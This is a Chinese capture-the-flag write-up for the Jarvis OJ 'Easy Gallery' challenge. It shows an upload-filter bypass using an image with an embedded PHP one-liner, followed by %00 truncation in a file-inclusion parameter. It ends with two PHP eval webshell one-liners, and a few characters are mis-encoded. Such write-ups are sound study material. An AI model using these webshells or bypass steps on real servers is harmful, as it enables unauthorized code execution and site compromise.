描述:
"沒有什么防護(hù)是一個漏洞解決不了的,如果有,那就....."http://web.jarvisoj.com:32785/
Easy Gallery
Submit Your photos and descriptions of photos~
上傳頁面
http://web.jarvisoj.com:32785/index.php?page=submit
查看頁面
http://web.jarvisoj.com:32785/index.php?page=view
分析:
-
感覺是要傳圖片但是執(zhí)行作為php解析并執(zhí)行命令(),而且坑不止一個!
先改文件名,好的不給傳,不是前端校驗。
再改Content-Type,好的不給傳,并不是那種會被輕易蒙蔽的系統(tǒng)!

識別文件頭

- 既然檢查文件內(nèi)容了那么感覺是不是圖片馬呢!在圖片內(nèi)容后面跟了個一句話,上傳成功。在view界面輸入id查看圖片
http://web.jarvisoj.com:32785/show.php?id=1536503255&type=jpg。
查看源代碼<img src="uploads/1536503255.jpg"/>得到http://web.jarvisoj.com:32785/uploads/1536503255.jpg的絕對地址,訪問了下,是的。然后就不知道干啥了,為什么到這里還不給我flag?。ǎ?br>
- 然后大佬說因為參數(shù)=filename所以看起來就像文件包含,好吧你說像就像。文件包含的時候發(fā)現(xiàn)后面為何自動帶了個.php,賊心一起,用%00截斷發(fā)現(xiàn)是可以解析的,只不過提示
you shall not pass"you should not do this"。思路再次卡死。
文件包含
%00截斷 - 然后
大佬說感覺可能是php一句話的什么被過濾了,換用:<script language="php">@eval_r($_POST['cmd'])</script>
換句話

解析成功
得到flag:CTF{upl0ad_sh0uld_n07_b3_a110wed}
總結(jié)
- 串一下思路,首先是把php上傳(改文件名、改Content-Type,改文件內(nèi)容),然后是如何解析并執(zhí)行php(web容器的解析漏洞、php文件包含)。ctf題不會需要你連菜刀搞事的()。
- 這是一道常識題,我們來存一下常識。
<?php @eval($_POST['pwd']);?>
<script language="php">@eval_r($_POST['pwd'])</script>
CTF從入門到放棄








